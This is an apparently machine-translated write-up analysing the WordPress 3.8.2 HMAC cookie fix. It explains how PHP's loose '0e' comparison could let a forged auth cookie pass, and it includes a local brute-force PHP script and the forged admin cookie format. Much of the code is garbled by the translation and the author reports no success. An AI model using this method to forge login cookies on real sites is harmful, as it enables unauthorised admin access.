0x00 background
After reading the WordPress 3.8.2 patch analysis HMAC timing attack, the eye is wide open. In the past, we can use time difference to determine HMAC.
However, I always think this vulnerability is not a simple fix.
According to official information, "This vulnerability was discovered by Jon Cave, a WordPress security team member .".
The vulnerability may also be exploited in this way.
0x01 PHP features
When PHP is running "= ","! = "And other non-strict matching conditions, the conversion will be forced according to the actual situation of the value.
<?phpvar_dump(0 == '0'); // truevar_dump(0 == 'abcdefg'); // true var_dump(0 === 'abcdefg'); // falsevar_dump(1 == '1abcdef'); // true ?>
When a comparison parameter is an integer, another parameter is forcibly converted to an integer.
0x02 analyze the repaired code
The official diff only changes one location in php:
<?php- if ( $hmac != $hash ) { + if ( hash_hmac( 'md5', $hmac, $key ) !== hash_hmac( 'md5', $hash, $key ) ) { ?>
$ Hmac comes from cookies. Is a controllable input parameter.
<?phpAdmin|1397564163|1f253e501c301bf5bf293c40d7d92ded//$username = ‘Admin’;//$expiration = 1397564163;//$hmac = ‘1f253e501c301bf5bf293c40d7d92ded’;?>
$ Hash: the following code generates an md5 value.
<?php$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);$hash = hash_hmac('md5', $username . '|' . $expiration, $key);?>
When$hmac == $hash
The logon is successful.
In several cases, the logon is successful.
<? Php // The first case is completely equal. $ Hmac = '1f253e501c301bf5bf293c40d7d92ded'; $ hash = '1f253e501c301bf5bf293c40d7d92ded'; // the second case. the first digit is a number, and the second digit is the letter $ hmac = 1; $ hash = '1f253e501c301bf5bf293c40d7d92ded'; // the third case. The first letter is $ hmac = 0; $ hash = 'af253e501c301bf5bf293c40d7d92ded';?>
Obviously, the third case is very big.
Is it possible to construct $ hmac into an integer 0?
0x03 vulnerability Exploitation
Let's look at the cookie parsing code:
<?php $cookie_elements = explode('|', $cookie); if ( count($cookie_elements) != 3 ) return false; list($username, $expiration, $hmac) = $cookie_elements;?>
When we set the cookie:
Admin|1397564163|1
. $ Hmac = '1 '. However, $ hmac is a string of 1 rather than an integer of 1.
<?phpvar_dump($hmac);//string(“1”);?>
Unfortunately, this vulnerability cannot be exploited.
Isn't this vulnerability officially fixed?
0x04
Can I identify a string as an integer? Yes, and!
<?phpvar_dump("0" == "0e1234567890123456...32"); // true?>
'E' is recognized as the power, and the Npower of 0 is 0;
Therefore, the vulnerability can be exploited in the following ways:
Make $ hmac = '0 ';
Change $ hash by Changing $ expiration. Get one. The first digit is 0, the second digit is e, and the last digit is the $ hash of the number.
<?php$hmac = ‘0’;$hash = ‘0e1234567890123456...32’;var_dump($hmac == $hash); // true?>
0x05 attack code
Local test code (the actual attack code should be to construct a remote cookie request ):
<? Php include ('wp-load. php '); $ user = get_userdata (1); $ username = $ user-> user_login; $ pass_frag = substr ($ user-> user_pass, 8, 4 ); $ expiration = 9999999999; // set a large expiration time, and then decrease the value while ($ expiration> 0) {$ key = wp_hash ($ username. $ pass_frag. '| '. $ expiration, 'auth '); $ hash = hash_hmac ('md5', $ username. '| '. $ expiration, $ key); if ('0' = $ hash OR '1' = $ hash) {echo $ expiration. '@'. $ hash; file_put _ Contents('done.txt ', $ expiration. '@'. $ hash); exit () ;}$ expiration-= 1; // expiration time-1 echo $ expiration. '@'. $ hash. "\ r \ n" ;}?>
By changing the expiration time, try to collide with the available hash.
According to the theoretical value. The probability of collision to the available $ expiration is (2110 ^ 30)/(16 ^ 32 ). 5.8774717541114*10-9.
Theoretically, you can set the cookie to "admin | expiration time of the collision | 0" to log on to the background.
However, the chance is too small. It is better to raise the password.
Ps: I have been running locally for several hours, but I haven't met one yet.